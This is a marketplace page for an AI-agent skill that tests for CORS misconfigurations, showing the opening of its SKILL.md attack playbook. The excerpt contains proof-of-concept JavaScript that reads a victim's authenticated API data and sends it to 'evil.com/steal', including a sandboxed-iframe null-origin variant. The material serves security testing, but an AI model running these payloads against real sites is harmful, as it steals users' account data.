cors-cross-origin-misconfiguration
CORS misconfiguration testing playbook.
Skill by langbyyi
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/langbyyi-cors-cross-origin-misconfiguration
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: testing
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/cors-cross-origin-misconfiguration
What's inside
- Skill name
cors-cross-origin-misconfiguration- Description
- CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, null origin, JSONP hijacking, preflight policy bugs, and browser-based access to authenticated APIs.
- License
- Apache-2.0
- Instructions
- 265 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Files (2)
- SCENARIOS.md
- SKILL.md
SKILL.md (first lines)
---
name: cors-cross-origin-misconfiguration
description: >-
CORS misconfiguration testing playbook. Use when analyzing cross-origin trust,
credentialed browser reads, origin reflection, null origin, JSONP hijacking,
preflight policy bugs, and browser-based access to authenticated APIs.
---
# SKILL: CORS Misconfiguration — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: CORS misconfiguration enables cross-origin data theft when `Access-Control-Allow-Origin` reflects attacker-controlled origins, especially with `Access-Control-Allow-Credentials: true`. Covers reflected origin, null origin via sandboxed iframe, JSONP hijacking, SOP bypass chains, and dual-site attack patterns. For JSONP deep-dive, SOP internals, and local lab setup, load the companion [SCENARIOS.md](./SCENARIOS.md).
## QUICK START
### First-pass probes
| Situation | Probe | Why |
|---|---|---|
| Any JSON API with auth | Send `Origin: https://evil.com` header | Check if reflected in ACAO |
| ACAO reflects origin | Check for `Allow-Credentials: true` | Credentials + reflection = data theft |
| Subdomain in allowlist | Try `evil.target.com` or `target.com.evil.com` | Subdomain bypass |
| `null` in ACAO | Use sandboxed iframe as origin | Null origin bypass |
| JSONP endpoints found | Check `callback` parameter reflection | JSONP hijacking |
### First-pass probe set
```text
Origin: https://evil.com
Origin: null
Origin: https://target.com.evil.com
Origin: https://evil.target.com
Origin: https://target.com@evil.com
Origin: https://evil.com%00.target.com
```
---
## 1. CORE CONCEPT
### Same-Origin Policy (SOP)
SOP prevents `https://evil.com` from reading responses from `https://target.com`. CORS (Cross-Origin Resource Sharing) relaxes SOP selectively via response headers.
### CORS Response Headers
| Header | Purpose |
|--------|---------|
| `Access-Control-Allow-Origin` | Which origins may read the response |
| `Access-Control-Allow-Credentials` | Whether cookies/auth are included |
| `Access-Control-Allow-Methods` | Which HTTP methods are permitted |
| `Access-Control-Allow-Headers` | Which request headers are permitted |
| `Access-Control-Max-Age` | Preflight cache duration |
### The Dangerous Combination
```
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
```
This allows `evil.com` to make authenticated requests to `target.com` and read the responses — full data theft.
---
## 2. REFLECTED ORIGIN EXPLOITATION
### Basic Reflected Origin
```http
GET /api/user HTTP/1.1
Host: target.com
Origin: https://evil.com
Cookie: session=abc123
→ Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"email": "victim@target.com", "role": "admin"}
```
**Exploit PoC** (host on `evil.com`):
```html
<script>
fetch('https://target.com/api/user', {
credentials: 'include'
}).then(r => r.json()).then(d => {
fetch('https://evil.com/steal?data=' + JSON.stringify(d));
});
</script>
```
### Null Origin via Sandboxed Iframe
```html
<iframe sandbox="allow-scripts" src="data:text/html,
<script>
fetch('https://target.com/api/user', {credentials:'include'})
.then(r=>r.json()).then(d=>{
fetch('https://evil.com/steal?d='+JSON.stringify(d))
})
</script>"></iframe>
```
Server must never trust `null` as an origin.
---
## 3. ORIGIN ALLOWLIST BYPASS
### Subdomain Bypass
```
// Server allowlist checks: does Origin end with target.com?
Origin: https://evil.target.com ← attacker-controlled subdomain
// Register: evil.target.com (if DNS allows)
// Or: x.target.com.evil.com (if check is flawed)
```
### Prefix/Suffix ConfusionFrom langbyyi/CyberStrikeAI-SRC, Apache-2.0.
More from langbyyi/CyberStrikeAI-SRC
- 0.735score
burp-mcp-vuln-check
langbyyi
Automate low-impact web vulnerability verification through Burp MCP.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
dependency-confusion
langbyyi
Supply-chain testing via package-manager dependency confusion.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
browser-assisted-hunting
langbyyi
浏览器交互式挖洞:登录态操作、双账号越权对比、SPA渲染取证、DOM XSS确认、验证码登录、前端隐藏功能绕过。 Use when CLI/HTTP evidence is insufficient and the target needs real browser interaction to confirm.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
clickjacking
langbyyi
Clickjacking playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
csrf-cross-site-request-forgery
langbyyi
CSRF testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
crlf-injection
langbyyi
CRLF injection playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
business-logic-vulnerabilities
langbyyi
Business logic vulnerability playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
cmdi-command-injection
langbyyi
Command injection playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
api-sec
langbyyi
Entry P1 category router for API security.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
authbypass-authentication-flaws
langbyyi
Authentication bypass testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
ssti-server-side-template-injection
langbyyi
SSTI playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
deserialization-insecure
langbyyi
Insecure deserialization playbook.
SkillAFreshness: A★ 131Claude Code +9
Signals
- Stars
- 131
- Forks
- 11
- Open issues
- 0
- Last commit (this folder)
- Aug 6, 2026 (2 months ago)
- Last release
- Oct 16, 2026 (11 days ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- Apache-2.0
- Repository
- github.com/langbyyi/CyberStrikeAI-SRC
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from langbyyi
- 0.735score
burp-mcp-vuln-check
langbyyi
Automate low-impact web vulnerability verification through Burp MCP.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
browser-assisted-hunting
langbyyi
浏览器交互式挖洞:登录态操作、双账号越权对比、SPA渲染取证、DOM XSS确认、验证码登录、前端隐藏功能绕过。 Use when CLI/HTTP evidence is insufficient and the target needs real browser interaction to confirm.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
api-sec
langbyyi
Entry P1 category router for API security.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
authbypass-authentication-flaws
langbyyi
Authentication bypass testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
ssti-server-side-template-injection
langbyyi
SSTI playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
business-logic-vulnerabilities
langbyyi
Business logic vulnerability playbook.
SkillAFreshness: A★ 131Claude Code +9
Cite this page
cors-cross-origin-misconfiguration skill. Agent Mart. https://agentmart.dev/skills/langbyyi-cors-cross-origin-misconfiguration (last updated 2026-10-24)